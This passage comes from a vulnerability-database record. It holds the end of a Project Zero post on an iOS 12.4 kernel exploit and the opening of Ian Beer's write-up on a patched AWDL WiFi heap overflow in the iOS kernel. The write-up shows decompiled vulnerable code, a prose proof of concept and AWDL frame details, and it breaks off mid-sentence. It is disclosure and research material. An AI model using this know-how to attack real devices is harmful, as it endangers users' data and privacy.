per-commit, I could have automated merging my fuzzer against the sources and we could have caught the iOS 12.4 regression immediately. Chromium and OSS-Fuzz already have success with this model. A fuzzer I submitted to Chrome\u2019s [fuzzer program](<https://www.google.com/about/appsecurity/chrome-rewards/#fuzzerprogram>) that only found 3 bugs initially, has now found [95 stability and security regressions](<https://bugs.chromium.org/p/chromium/issues/list?q=net_quic_stream_factory_fuzzer%20-status%3AWontFix%20-status%3ADuplicate%20&can=1>) since submission. By opening the sources more frequently to the public, we have the opportunity to catch, by an order of magnitude, more critical bugs before they even make it to beta.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-12-10T00:00:00", "type": "googleprojectzero", "title": "\nSockPuppet: A Walkthrough of a Kernel Exploit for iOS 12.4\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4407", "CVE-2019-8605"], "modified": "2019-12-10T00:00:00", "id": "GOOGLEPROJECTZERO:484F15FB833183203B1090176F5B292A", "href": "https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:28", "description": "Posted by Ian Beer, Project Zero\n\n \n\n\n**NOTE: This specific issue was fixed before the launch of [Privacy-Preserving Contact Tracing](<https://covid19.apple.com/contacttracing>) in iOS 13.5 in May 2020.**\n\n \n\n\n### In this demo I remotely trigger an unauthenticated kernel memory corruption vulnerability which causes all iOS devices in radio-proximity to reboot, with no user interaction. Over the next 30'000 words I'll cover the entire process to go from this basic demo to successfully exploiting this vulnerability in order to run arbitrary code on any nearby iOS device and steal all the user data\n\n# Introduction\n\nQuoting [@halvarflake's Offensivecon keynote](<https://docs.google.com/presentation/d/1YcBqgccBcdn5-v80OX8NTYdu_-qRmrwfejlEx6eq-4E/edit#slide=id.g7dd52a5bec_0_842>) from February 2020:\n\n** \n**\n\n\"Exploits are the closest thing to \"magic spells\" we experience in the real world: Construct the right incantation, gain remote control over device.\"\n\n** \n**\n\nFor 6 months of 2020, while locked down in the corner of my bedroom surrounded by my lovely, screaming children, I've been working on a magic spell of my own. No, sadly not an incantation to convince the kids to sleep in until 9am every morning, but instead a wormable radio-proximity exploit which allows me to gain complete control over any iPhone in my vicinity. View all the photos, read all the email, copy all the private messages and monitor everything which happens on there in real-time. \n\n** \n**\n\nThe takeaway from this project should not be: no one will spend six months of their life just to hack my phone, I'm fine.\n\n** \n**\n\nInstead, it should be: one person, working alone in their bedroom, was able to build a capability which would allow them to seriously compromise iPhone users they'd come into close contact with.\n\n** \n**\n\nImagine the sense of power an attacker with such a capability must feel. As we all pour more and more of our souls into these devices, an attacker can gain a treasure trove of information on an unsuspecting target.\n\n** \n**\n\nWhat's more, with [directional antennas](<https://www.wikihow.com/Make-a-Cantenna>), higher transmission powers and sensitive receivers the range of such attacks can be considerable.\n\n** \n**\n\nI have no evidence that these issues were exploited in the wild; I found them myself through manual reverse engineering. But we do know that exploit vendors seemed to take notice of these fixes. For example, take this tweet from Mark Dowd, the co-founder of [Azimuth Security](<https://www.azimuthsecurity.com/>), an Australian \"market-leading information security business\":\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMNd9iceZr3u-QO6mtNydwtcQb46CasC8eDiUCwq4LDpS9mWSZZcOgH1xUwJ45BlN_SM4fSxS1keRJ5vDNP-zaN9_91cHHbacQXfzttf-_tbo0r0g0SdZPmrUG-D8Yj9zcwMRa6RLOQiBjjRp-RPkcXDWE9YVTDM23UcfuGYtJEchwCqh1lauR2XaM/s1156/image18%281%29.png>)\n\n \n\n\n### This tweet from @mdowd on May 27th 2020 mentioned a double free in BSS reachable via AWDL\n\n** \n**\n\nThe vulnerability Mark is referencing here is one of the vulnerabilities I reported to Apple. You don't notice a fix like that without having a deep interest in this particular code.\n\n** \n**\n\n[This Vice article from 2018](<https://www.vice.com/en_us/article/8xdayg/iphone-zero-days-inside-azimuth-security>) gives a good overview of Azimuth and why they might be interested in such vulnerabilities. You might trust that Azimuth's judgement of their customers aligns with your personal and political beliefs, you might not, that's not the point. Unpatched vulnerabilities aren't like physical territory, occupied by only one side. Everyone can exploit an unpatched vulnerability and Mark Dowd wasn't the only person to start tweeting about vulnerabilities in AWDL.\n\n** \n**\n\nThis has been the longest solo exploitation project I've ever worked on, taking around half a year. But it's important to emphasize up front that the teams and companies supplying the global trade in cyberweapons like this one aren't typically just individuals working alone. They're well-resourced and focused teams of collaborating experts, each with their own specialization. They aren't starting with absolutely no clue how bluetooth or wifi work. They also potentially have access to information and hardware I simply don't have, like [development devices](<https://www.vice.com/en/article/gyakgw/the-prototype-dev-fused-iphones-that-hackers-use-to-research-apple-zero-days>), [special cables](<https://www.theiphonewiki.com/wiki/Kong_Cable>), leaked source code, symbols files and so on.\n\n** \n**\n\nOf course, an iPhone isn't designed to allow people to build capabilities like this. So what went so wrong that it was possible? Unfortunately, it's the same old story. A fairly trivial buffer overflow programming error in C++ code in the kernel parsing untrusted data, exposed to remote attackers.\n\n** \n**\n\nIn fact, this entire exploit uses just a single memory corruption vulnerability to compromise the flagship iPhone 11 Pro device. With just this one issue I was able to defeat all the mitigations in order to remotely gain native code execution and kernel memory read and write.\n\n** \n**\n\nRelative to the size and complexity of these codebases of major tech companies, the sizes of the security teams dedicated to proactively auditing their product's source code to look for vulnerabilities are very small. Android and iOS are complete custom tech stacks. It's not just kernels and device drivers but dozens of attacker-reachable apps, hundreds of services and thousands of libraries running on devices with customized hardware and firmware.\n\n** \n**\n\nActually reading all the code, including every new line in addition to the decades of legacy code, is unrealistic, at least with the division of resources commonly seen in tech where the ratio of security engineers to developers might be 1:20, 1:40 or even higher.\n\n** \n**\n\nTo tackle this insurmountable challenge, security teams rightly place a heavy emphasis on design level review of new features. This is sensible: getting stuff right at the design phase can help limit the impact of the mistakes and bugs which will inevitably occur. For example, ensuring that a new hardware peripheral like a GPU can only ever access a restricted portion of physical memory helps constrain [the worst-case outcome if the GPU is compromised by an attacker](<https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html>). The attacker is hopefully forced to find an additional vulnerability to \"lengthen the exploit chain\", having to use an ever-increasing number of vulnerabilities to hack a single device. Retrofitting constraints like this to already-shipping features would be much harder, if not impossible.\n\n** \n**\n\nIn addition to design-level reviews, security teams tackle the complexity of their products by attempting to constrain what an attacker might be able to do with a vulnerability. These are mitigations. They take many forms and can be general, like [stack cookies](<https://docs.microsoft.com/en-us/cpp/build/reference/gs-buffer-security-check?view=vs-2019>) or application specific, like [Structure ID in JavaScriptCore](<https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf>). The guarantees which can be made by mitigations are generally weaker than those made by design-level features but the goal is similar: to \"lengthen the exploit chain\", hopefully forcing an attacker to find a new vulnerability and incur some cost.\n\n** \n**\n\nThe third approach widely used by defensive teams is fuzzing, which attempts to emulate an attacker's vulnerability finding process with brute force. Fuzzing is often misunderstood as an effective method to discover easy-to-find vulnerabilities or \"low-hanging fruit\". A more precise description would be that fuzzing is an effective method to discover easy-to-fuzz vulnerabilities. Plenty of vulnerabilities which a skilled vulnerability researcher would consider low-hanging fruit can require reaching a program point that no fuzzer today will be able to reach, no matter the compute resources used.\n\n** \n**\n\nThe problem for tech companies and certainly not unique to Apple, is that while design review, mitigations, and fuzzing are necessary for building secure codebases, they are far from sufficient.\n\n** \n**\n\nFuzzers cannot reason about code in the same way a skilled vulnerability researcher can. This means that without concerted manual effort, vulnerabilities with a relatively low cost-of-discovery remain fairly prevalent. A major focus of my work over the last few years had been attempting to highlight that the iOS codebase, just like any other major modern operating system, has a high vulnerability density. Not only that, but there's a high density of \"good bugs\", that is, vulnerabilities which enable the creation of powerful weird machines.\n\n** \n**\n\nThis notion of \"good bugs\" is something that offensive researchers understand intuitively but something which might be hard to grasp for those without an exploit development background. [Thomas Dullien's weird machines paper](<https://ieeexplore.ieee.org/document/8226852>) provides the best introduction to the notion of weird machines and their applicability to exploitation. Given a sufficiently complex state machine operating on attacker-controlled input, a \"good bug\" allows the attacker-controlled input to instead become \"code\", with the \"good bug\" introducing a new, unexpected state transition into a new, unintended state machine. The art of exploitation then becomes the art of determining how one can use vulnerabilities to introduce sufficiently powerful new state transitions such that, as an end goal, the attacker-supplied input becomes code for a new, weird machine capable of arbitrary system interactions.\n\n** \n**\n\nIt's with this weird machine that mitigations will be defeated; even a mitigation without implementation flaws is usually no match for a sufficiently powerful weird machine. An attacker looking for vulnerabilities is looking specifically for weird machine primitives. Their auditing process is focused on a particular attack-surface and particular vulnerability classes. This stands in stark contrast to a product security team with responsibility for every possible attack surface and every vulnerability class.\n\n** \n**\n\nAs things stand now in November 2020, I believe it's still quite possible for a motivated attacker with just one vulnerability to build a sufficiently powerful weird machine to completely, remotely compromise top-of-the-range iPhones. In fact, the parts of that process which are hardest probably aren't those which you might expect, at least not without an appreciation for weird machines.\n\n** \n**\n\nVulnerability discovery remains a fairly linear function of time invested. Defeating mitigations remains a matter of building a sufficiently powerful weird machine. Concretely, Pointer Authentication Codes (PAC) meant I could no longer take the popular direct shortcut to a very powerful weird machine via trivial program counter control and ROP or JOP. Instead I built a remote arbitrary memory read and write primitive which in practise is just as powerful and something which the current implementation of PAC, which focuses almost exclusively on restricting control-flow, wasn't designed to mitigate.\n\n** \n**\n\nSecure system design didn't save the day because of the inevitable tradeoffs involved in building shippable products. Should such a complex parser driving multiple, complex state machines really be running in kernel context against untrusted, remote input? Ideally, no, and this was almost certainly flagged during a design review. But there are tight timing constraints for this particular feature which means isolating the parser is non-trivial. It's certainly possible, but that would be a major engineering challenge far beyond the scope of the feature itself. At the end of the day, it's features which sell phones and this feature is undoubtedly very cool; I can completely understand the judgement call which was made to allow this design despite the risks.\n\n** \n**\n\nBut risk means there are consequences if things don't go as expected. When it comes to software vulnerabilities it can be hard to connect the dots between those risks which were accepted and the consequences. I don't know if I'm the only one who found these vulnerabilities, though I'm the first to tell Apple about them and work with Apple to fix them. Over the next 30'000 words I'll show you what I was able to do with a single vulnerability in this attack surface and hopefully give you a new or renewed insight into the power of the weird machine.\n\n** \n**\n\nI don't think all hope is lost; there's just an awful lot more left to do. In the conclusion I'll try to share some ideas for what I think might be required to build a more secure iPhone.\n\n** \n**\n\nIf you want to follow along you can find details [attached to issue 1982](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1982>) in the Project Zero issue tracker.\n\n# Vulnerability discovery\n\nIn 2018 [Apple shipped an iOS beta build without stripping function name symbols](<https://twitter.com/s1guza/status/1093424833088622592>) from the kernelcache. While this was almost certainly an error, events like this help researchers on the defending side enormously. One of the ways I like to procrastinate is to scroll through this enormous list of symbols, reading bits of assembly here and there. One day I was looking through IDA's cross-references to memmove with no particular target in mind when something jumped out as being worth a closer look:\n\n \n\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwjgZd_fO6_yju8m35BZX-uwhQqHBxsGC-xxQk_kDBctpaazKJBkOgwKEiHsVbNiaGYUtjGDBkp2-7w3DeGsJy4gZtAEEl30rOurqPz_5O0_uIVjPzk5jCJmI-C-7RpRlBQgubnM3zCvR_2BiO98lG_-XLk1EDfHHpBD_Yp87iN27FJ5JmRpT62ts7/s1894/image32.png>)\n\n### IDA Pro's cross references window shows a large number of calls to memmove. A callsite in IO80211AWDLPeer::parseAwdlSyncTreeTLV is highlighted\n\n** \n**\n\nHaving function names provides a huge amount of missing context for the vulnerability researcher. A completely stripped 30+MB binary blob such as the iOS kernelcache can be overwhelming. There's a huge amount of work to determine how everything fits together. What bits of code are exposed to attackers? What sanity checking is happening and where? What execution context are different parts of the code running in?\n\n** \n**\n\nIn this case this particular driver is also available on MacOS, where function name symbols are not stripped.\n\n** \n**\n\nThere are three things which made this highlighted function stand out to me:\n\n** \n**\n\n1) The function name:\n\n** \n**\n\n#### IO80211AWDLPeer::parseAwdlSyncTreeTLV\n\n** \n**\n\nAt this point, I had no idea what AWDL was. But I did know that TLVs (Type, Length, Value) are often used to give structure to data, and parsing a TLV might mean it's coming from somewhere untrusted. And the [80211](<https://en.wikipedia.org/wiki/IEEE_802.11>) is a giveaway that this probably has something to do with WiFi. Worth a closer look. Here's the raw decompilation from [Hex-Rays](<https://www.hex-rays.com/products/decompiler/>) which we'll clean up later:\n\n** \n**\n\n#### __int64 __fastcall IO80211AWDLPeer::parseAwdlSyncTreeTLV(__int64 this, __int64 buf)\n\n#### {\n\n#### const void *v3; // x20\n\n#### _DWORD *v4; // x21\n\n#### int v5; // w8\n\n#### unsigned __int16 v6; // w25\n\n#### unsigned __int64 some_u16; // x24\n\n#### int v8; // w21\n\n#### __int64 v9; // x8\n\n#### __int64 v10; // x9\n\n#### unsigned __int8 *v11; // x21\n\n#### \n\n#### v3 = (const void *)(buf + 3);\n\n#### v4 = (_DWORD *)(this + 1203);\n\n#### v5 = *(_DWORD *)(this + 1203);\n\n#### if ( ((v5 + 1) & 0xFFFFu) <= 0xA )\n\n#### v6 = v5 + 1;\n\n#### else\n\n#### v6 = 10;\n\n#### some_u16 = *(unsigned __int16 *)(buf + 1) / 6uLL;\n\n#### if ( (_DWORD)some_u16 == v6 )\n\n#### {\n\n#### some_u16 = v6;\n\n#### }\n\n#### else\n\n#### {\n\n#### IO80211Peer::logDebug(\n\n#### this,\n\n#### 0x8000000000000uLL,\n\n#### \"Peer %02X:%02X:%02X:%02X:%02X:%02X: PATH LENGTH error hc %u calc %u \\n\",\n\n#### *(unsigned __int8 *)(this + 32),\n\n#### *(unsigned __int8 *)(this + 33),\n\n#### *(unsigned __int8 *)(this + 34),\n\n#### *(unsigned __int8 *)(this + 35),\n\n#### *(unsigned __int8 *)(this + 36),\n\n#### *(unsigned __int8 *)(this + 37),\n\n#### v6,\n\n#### some_u16);\n\n#### *v4 = some_u16;\n\n#### v6 = some_u16;\n\n#### }\n\n#### v8 = memcmp((const void *)(this + 5520), v3, (unsigned int)(6 * some_u16));\n\n#### memmove((void *)(this + 5520), v3, (unsigned int)(6 * some_u16));\n\n** \n**\n\nDefinitely looks like it's parsing something. There's some fiddly byte manipulation; something which sort of looks like a bounds check and an error message.\n\n** \n**\n\n2) The second thing which stands out is the error message string:\n\n** \n**\n\n#### \"Peer %02X:%02X:%02X:%02X:%02X:%02X: PATH LENGTH error hc %u calc %u\\n\" \n\n** \n**\n\nAny kind of LENGTH error sounds like fun to me. Especially when you look a little closer...\n\n** \n**\n\n3) The control flow graph.\n\n** \n**\n\nReading the code a bit more closely it appears that although the log message contains the word \"error\" there's nothing which is being treated as an error condition here. IO80211Peer::logDebug isn't a fatal logging API, it just logs the message string. Tracing back the length value which is passed to memmove, regardless of which path is taken we still end up with what looks like an arbitrary u16 value from the input buffer (rounded down to the nearest multiple of 6) passed as the length argument to memmove.\n\n** \n**\n\nCan it really be this easy? Typically, in my experience, bugs this shallow in real attack surfaces tend to not work out. There's usually a length check somewhere far away; you'll spend a few days trying to work out why you can't seem to reach the code with a bad size until you find it and realize this was a CVE from a decade ago. Still, worth a try.\n\n** \n**\n\nBut what even is this attack surface?\n\n# A first proof-of-concept\n\nA bit of googling later we learn that [awdl is a type of welsh poetry](<https://en.wikipedia.org/wiki/Awdl>), and also an acronym for an Apple-proprietary mesh networking protocol probably called Apple Wireless Direct Link. It appears to be used by [AirDrop](<https://support.apple.com/en-us/HT204144>) amongst other things.\n\n** \n**\n\nThe first goal is to determine whether we can really trigger this vulnerability remotely.\n\n** \n**\n\nWe can see from the casts in the parseAwdlSyncTreeTLV method that the type-length-value objects have a single-byte type then a two-byte length followed by a payload value.\n\n** \n**\n\nIn IDA selecting the function name and going View -> Open subviews -> Cross references (or pressing 'x') shows IDA only found one caller of this method:\n\n** \n**\n\n#### IO80211AWDLPeer::actionFrameReport\n\n#### ...\n\n#### case 0x14u:\n\n#### if (v109[20] >= 2)\n\n#### goto LABEL_126;\n\n#### ++v109[0x14];\n\n#### IO80211AWDLPeer::parseAwdlSyncTreeTLV(this, bytes);\n\n** \n**\n\nSo 0x14 is probably the type value, and v109 looks like it's probably counting the number of these TLVs.\n\n** \n**\n\nLooking in the list of function names we can also see that there's a corresponding BuildSyncTreeTlv method. If we could get two machines to join an AWDL network, could we just use the MacOS kernel debugger to make the SyncTree TLV very large before it's sent?\n\n** \n**\n\nYes, you can. Using two MacOS laptops and enabling AirDrop on both of them I used a kernel debugger to edit the SyncTree TLV sent by one of the laptops, which caused the other one to kernel panic due to an out-of-bounds memmove.\n\n** \n**\n\nIf you're interested in exactly how to do that take a look at the [original vulnerability report](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1982>) I sent to Apple on November 29th 2019. This vulnerability was fixed as CVE-2020-3843 on January 28th 2020 in iOS 13.1.1/MacOS 10.15.3.\n\n** \n**\n\nOur journey is only just beginning. Getting from here to running an implant on an iPhone 11 Pro with no user interaction is going to take a while...\n\n# Prior Art\n\nThere are a series of papers from the [Secure Mobile Networking Lab at TU Darmstadt](<https://www.informatik.tu-darmstadt.de/seemoo/seemoo/index.en.jsp>) in Germany (also known as SEEMOO) which look at AWDL. The researchers there have done a considerable amount of reverse engineering (in addition to having access to some leaked Broadcom source code) to produce these papers; they are invaluable to understand AWDL and pretty much the only resources out there. \n\n** \n**\n\nThe first paper [One Billion Apples\u2019 Secret Sauce: Recipe for the Apple Wireless Direct Link Ad hoc Protocol](<https://arxiv.org/pdf/1808.03156.pdf>) covers the format of the frames used by AWDL and the operation of the channel-hopping mechanism.\n\n** \n**\n\nThe second paper [A Billion Open Interfaces for Eve and Mallory: MitM, DoS, and Tracking Attacks on iOS and macOS Through Apple Wireless Direct Link](<https://www.usenix.org/system/files/sec19fall_stute_prepub.pdf>) focuses more on Airdrop, one of the OS features which uses AWDL. This paper also examines how Airdrop uses Bluetooth Low Energy advertisements to enable AWDL interfaces on other devices.\n\n** \n**\n\nThe research group wrote an open source AWDL client called [OWL](<https://github.com/seemoo-lab/owl>) (Open Wireless Link). Although I was unable to get OWL to work it was nevertheless an invaluable reference and I did use some of their frame definitions.\n\n# What is AWDL?\n\nAWDL is an Apple-proprietary mesh networking protocol designed to allow Apple devices like iPhones, iPads, Macs and Apple Watches to form ad-hoc peer-to-peer mesh networks. Chances are that if you own an Apple device you're creating or connecting to these transient mesh networks multiple times a day without even realizing it.\n\n** \n**\n\nIf you've ever used Airdrop, streamed music to your Homepod or Apple TV via Airplay or used your iPad as a secondary display with Sidecar then you've been using AWDL. And even if you haven't been using those features, if people nearby have been then it's quite possible your device joined the AWDL mesh network they were using anyway.\n\n** \n**\n\nAWDL isn't a custom radio protocol; the radio layer is WiFi (specifically 802.11g and 802.11a). \n\n** \n**\n\nMost people's experience with WiFi involves connecting to an infrastructure network. At home you might plug a WiFi access point into your modem which creates a WiFi network. The access point broadcasts a network name and accepts clients on a particular channel.\n\n** \n**\n\nTo reach other devices on the internet you send WiFi frames to the access point (1). The access point sends them to the modem (2) and the modem sends them to your ISP (3,4) which sends them to the internet:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisf7XoniKOEXl0rDm3JTS6VjlH50xl3Qa4Zpt5CRxG4qYgtMM49cxLDZnVKoBsG-N6wrmvnNQ4bxN0Bd41aVSHf_vwB7BEuLweHj4A65ctZCDX8FdWm7TA2J0_z_PlJyoNUT8ZB6JtCBCQm07eYMqA14AYtWvouTGILTMV_a1oNwlEavTsW7nQyN5N/s624/image27.png>)\n\n### The topology of a typical home network\n\n** \n**\n\nTo reach other devices on your home WiFi network you send WiFi frames to the access point and the access point relays them to the other devices:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCVYcqT9qmhrF5Ww00GLeX-z06ptQLy3hER8_Wqflzd6G3t9fCbaRnMfNle59On6-BH3zlZ1sR6S59XB5POfu9NGdQ5QS60945uxH-0rgAfpG6lOINkh0b8As6zuacmHhEVFeVIaon6Br6hqkgUt0YFP5tyiq2d6vMLt_w4oXEklPf-Y-RrZjXNNcE/s624/image5%288%29.png>)\n\n### WiFi clients communicate via an access point, even if they are within WiFi range of each other\n\n** \n**\n\nIn reality the wireless signals don't propagate as straight lines between the client and access point but spread out in space such that the two client devices may be able to see the frames transmitted by each other to the access point.\n\n** \n**\n\nIf WiFi client devices can already send WiFi frames directly to each other, then why have the access point at all? Without the complexity of the access point you could certainly have much more magical experiences which \"just work\", requiring no physical setup.\n\n** \n**\n\nThere are various protocols for doing just this, each with their own tradeoffs. [Tunneled Direct Link Setup](<https://en.wikipedia.org/wiki/TDLS>) (TDLS) allows two devices already on the same WiFi network to negotiate a direct connection to each other such that frames won't be relayed by the access point.\n\n** \n**\n\n[Wi-Fi Direct](<https://en.wikipedia.org/wiki/Wi-Fi_Direct>) allows two devices not already on the same network to establish an encrypted peer-to-peer Wi-Fi network, using [WPS](<https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup>) to bootstrap a WPA2-encrypted ad-hoc network.\n\n** \n**\n\nApple's AWDL doesn't require peers to already be on the same network to establish a peer-to-peer connection, but unlike Wi-Fi Direct, AWDL has no built-in encryption. Unlike TDLS and Wi-Fi Direct, AWDL networks can contain more than two peers and they can also form a mesh network configuration where multiple hops are required.\n\n** \n**\n\nAWDL has one more trick up its sleeve: an AWDL client can be connected to an AWDL mesh network and a regular AP-based infrastructure network at the same time, using only one Wi-Fi chipset and antenna. To see how that works we need to look a little more at some Wi-Fi fundamentals.\n\n** \n**\n\n \n| \n\nTDLS\n\n| \n\nWi-Fi Direct\n\n| \n\nAWDL \n \n---|---|---|--- \n \nRequires AP network\n\n| \n\nYes\n\n| \n\nNo\n\n| \n\nNo \n \nEncrypted\n\n| \n\nYes\n\n| \n\nYes\n\n| \n\nNo \n \nPeer Limit\n\n| \n\n2\n\n| \n\n2\n\n| \n\nUnlimited \n \nConcurrent AP Connection Possible\n\n| \n\nNo\n\n| \n\nNo\n\n| \n\nYes \n \n# WiFi fundamentals\n\nThere are over 20 years of WiFi standards spanning different frequency ranges of the electromagnetic spectrum, from as low as [54MHz in 802.11af](<https://en.wikipedia.org/wiki/IEEE_802.11af>) up to over [60GHz in 802.11ad](<https://en.wikipedia.org/wiki/IEEE_802.11ad>). Such networks are quite esoteric and consumer equipment uses frequencies near 2.4 Ghz or 5 Ghz. Ranges of frequencies are split into channels: for example in [802.11g](<https://en.wikipedia.org/wiki/IEEE_802.11g-2003>) channel 6 means a 22 Mhz range between 2.426 GHz and 2.448 GHz.\n\n** \n**\n\nNewer 5 GHz standards like 802.11ac allow for wider channels up to 160 MHz; 5 Ghz channel numbers therefore encode both the center frequency and channel width. Channel 44 is a 20 MHz range between 5.210 Ghz and 5.230 Ghz whereas channel 46 is a 40 Mhz range which starts at the same lower frequency as channel 44 of 5.210 GHz but extends up to 5.250 GHz.\n\n** \n**\n\nAWDL typically sends and receives frames on channel 6 and 44. How does that work if you're also using your home WiFi network on a different channel?\n\n# Channel Hopping and Time Division Multiplexing\n\nIn order to appear to be connected to two separate networks on separate frequencies at the same time, AWDL-capable devices split time into 16ms chunks and tell the WiFi controller chip to quickly switch between the channel for the infrastructure network and the channel being used by AWDL:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHKWbqKGcUuC79X2SL3LwhCCFYyPx16PG_QmkSqI_zsASlfwK49QaYCPbivxEU7r3c415W1-ex-hTsxmZ5wOM3SpwsNdyy9a_d7TwvsgG-ljBUfoZzjHmLDJaHUw4Ikdpwt6HKK6JkSJS0jMtpqjxykKn-Tdisxuu5o2AX2sLPMLq3JMsO3uQNe7Dx/s624/image17%281%29.png>)\n\n### A typical AWDL channel hopping sequence, alternating between small periods on AWDL social channels and longer periods on the AP channel\n\n** \n**\n\nThe actual channel sequence is dynamic. Peers broadcast their channel sequences and adapt their own sequence to match peers with which they wish to communicate. The periods when an AWDL peer is listening on an AWDL channel are known as Availability Windows.\n\n** \n**\n\nIn this way the device can appear to be connected to the access point whilst also participating in the AWDL mesh at the same time. Of course, frames might be missed from both the AP and the AWDL mesh but the protocols are treating radio as an unreliable transport anyway so this only really has an impact on throughput. A large part of the AWDL protocol involves trying to synchronize the channel switching between peers to improve throughput.\n\n** \n**\n\nThe [SEEMOO labs paper](<https://arxiv.org/pdf/1808.03156.pdf>) has a much more detailed look at the AWDL channel hopping mechanism.\n\n# AWDL frames\n\nThese are the first software-controlled fields which go over the air in a WiFi frame:\n\n** \n**\n\nstruct ieee80211_hdr {\n\nuint16_t frame_control;\n\nuint16_t duration_id;\n\nstruct ether_addr dst_addr;\n\nstruct ether_addr src_addr;\n\nstruct ether_addr bssid_addr;\n\nuint16_t seq_ctrl;\n\n} __attribute__((packed));\n\n** \n**\n\nThe first word contains fields which [define the type of this frame](<https://en.wikipedia.org/wiki/802.11_Frame_Types>). These are broadly split into three frame families: Management, Control and Data. The building blocks of AWDL use a subtype of Management frames called [Action frames](<https://mrncciew.com/2014/10/09/802-11-mgmt-action-frames/>).\n\n** \n**\n\nThe address fields in an 802.11 header can have different meanings depending on the context; for our purposes the first is the destination device MAC address, the second is the source device MAC and the third is the MAC address of the infrastructure network access point or BSSID.\n\n** \n**\n\nSince AWDL is a peer-to-peer network and doesn't use an access point, the BSSID field of an AWDL frame is set to the hard-coded AWDL BSSID MAC of 00:25:00:ff:94:73. It's this BSSID which AWDL clients are looking for when they're trying to find other peers. Your router won't accidentally use this BSSID because Apple owns the 00:25:00 [OUI](<https://en.wikipedia.org/wiki/Organizationally_unique_identifier>).\n\n** \n**\n\nThe format of the bytes following the header depends on the frame type. For an Action frame the next byte is a category field. There are [a large number of categories](<https://mrncciew.com/2014/10/09/802-11-mgmt-action-frames/>) which allow devices to exchange all kinds of information. For example category 5 covers[ various types of radio measurements](<https://blogs.cisco.com/networking/why-the-802-11k-and-neighbor-report-are-important>) like noise histograms.\n\n** \n**\n\nThe special category value 0x7f defines this frame as a vendor-specific action frame meaning that the next three bytes are the OUI of the vendor responsible for this custom action frame format.\n\n** \n**\n\n[Apple owns the OUI 0x00 0x17 0xf2](<https://www.wireshark.org/tools/oui-lookup.html>) and this is the OUI used for AWDL action frames. Every byte in the frame after this is now proprietary, defined by Apple rather than an IEEE standard.\n\n** \n**\n\nThe SEEMOO labs team have done a great job reversing the AWDL action frame format and [they developed a wireshark dissector](<https://github.com/seemoo-lab/wireshark-awdl>).\n\n** \n**\n\nAWDL Action frames have a fixed-sized header followed by a variable length collection of TLVs:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHSzjRQ6j3ri6peVycq6JoSj2awtKiGt02mIZ76Li_Dho-swtqt5BoFK7trHmdYtbWrk9Bh53dISx-2XEFgbt_McK93orvbXkEeNbSkm34dZAEEkIogiAtDJVD2o-UF9hLh9sfM2HmL_bWQplHN-ay8mdD6bnxRruzDEP71JTTNevyp8_tCY3zYL-h/s614/image28.png>)\n\n### The layout of fields in an AWDL frame: 802.11 header, action frame header, AWDL fixed header and variable length AWDL payload\n\n** \n**\n\nEach TLV has a single-byte type followed by a two-byte length which is the length of the variable-sized payload in bytes.\n\n** \n**\n\nThere are two types of AWDL action frame: Master Indication Frames (MIF) and Periodic Synchronization Frames (PSF). They differ only in their type field and the collection of TLVs they contain.\n\n** \n**\n\nAn AWDL mesh network has a single master node decided by an election process. Each node broadcasts a MIF containing a master metric parameter; the node with the highest metric becomes the master node. It is this master node's PSF timing values which should be adopted as the true timing values for all the other nodes to synchronize to; in this way their availability windows can overlap and the network can have a higher throughput.\n\n# Frame processing\n\nBack in 2017, Project Zero researcher Gal Beniamini published a seminal 5-part blog post series entitled [Over The Air](<https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html>) where he exploited a vulnerability in the Broadcom WiFi chipset to gain native code execution on the WiFi controller, then pivoted via an iOS kernel bug in the chipset-to-Application Processor interface to achieve arbitrary kernel memory read/write.\n\n** \n**\n\nIn that case, Gal targeted a vulnerability in the Broadcom firmware when it was parsing data structures related to TDLS. The raw form of these data structures was handled by the chipset firmware itself and never made it to the application processor.\n\n** \n**\n\nIn contrast, for AWDL the frames appear to be parsed in their entirety on the Application Processor by the kernel driver. Whilst this means we can explore a lot of the AWDL code, it also means that we're going to have to build the entire exploit on top of primitives we can build with the AWDL parser, and those primitives will have to be powerful enough to remotely compromise the device. Apple continues to ship new mitigations with each iOS release and hardware revision, and we're of course going to target the latest iPhone 11 Pro with the largest collection of these mitigations in place.\n\n** \n**\n\nCan we really build something powerful enough to remotely defeat kernel pointer authentication just with a linear heap overflow in a WiFi frame parser? Defeating mitigations usually involves building up a library of tricks to help build more and more powerful primitives. You might start with a linear heap 